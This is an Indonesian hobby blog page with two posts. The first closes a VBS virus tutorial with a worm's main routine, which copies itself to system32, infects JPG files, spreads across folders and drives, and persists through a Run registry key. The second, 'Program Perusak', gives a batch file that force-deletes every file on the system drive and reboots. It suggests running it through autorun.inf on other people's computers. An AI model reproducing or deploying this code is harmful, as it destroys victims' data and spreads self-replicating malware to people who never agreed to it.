set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)

myfolder = Left(fsource,InStrRev(fsource,”"))
‘ Copy-kan diri ke “c:windowssystem32″

fsource.Copy(”c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\win
dows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.
vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()

Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang “bodoh”, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat.

Program perusak

posted by : ilmutif.blogspot.com

Program Perusak
(artikel untuk orang-orang pemberani)

Berani Taruhan…
Klo berani silahkan lanjutin dech…
Klo g’… stop sampe disini aja ya…

Game’snya gampang…
Isi formulir berikut
Nama : …
Email : …
Tingakat Keberanian : … (easy/normal/hard)
(canda bos)

Gini caranya…
Klik start trus klik run didalamnya ketikkan notepad atau cara laen asalkan notepad kamu kebuka…

@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00

Pastekan perintah diatas kedalam notepad kamu…
bisa juga pakai perintah ini

@echo off
shutdown -r -f -t 00

Simpan dengan ekstensi bat, contoh progam perusak.bat
Trus gunain jimat autorun.inf untuk menjalankan program tersebut (jangan bilang kamu g’ punya jimat ini)

Catatan :
1. Penulis tidak bertanggung jawab terhadap efek yang ditimbulkan, resiko ditanggung praktikum
2. Bagi yang pernah memuat tulisan tentang ‘notepad sialan’ ini mohon maaf telah menyamai tulisan kamu
3. Artikel ini brengsek bangetz (nikmati aja sendiri jangan disebarkan)

Saran :
1. BackUp data sebelum praktek
2. Prakteklah saat kamu lagi santai, banyak waktu kosong, sehingga kamu punya waktu untuk install ulang
3. (ini yang paling penting) Jangan melakukan praktek dikomputer sendiri prakteklah dikomputer orang lain
4. Hati-hati

Informasi :

“Klo g’ SO kamu yang hilang seluruh file dan folder tempat kamu menyimpan program perusak ini yang akan hilang”

Maka dari itu Siapkan CD SO mu, Kumpulkan Keberanianmu, Bulatkan Tekatmu, Serbu…!!!

Waspadah… Waspadah… Waspadah…

Penawaran Menarik!!!


Followers

  © Blogger templates 'Neuronic' by Ourblogtemplates.com 2008

Back to TOP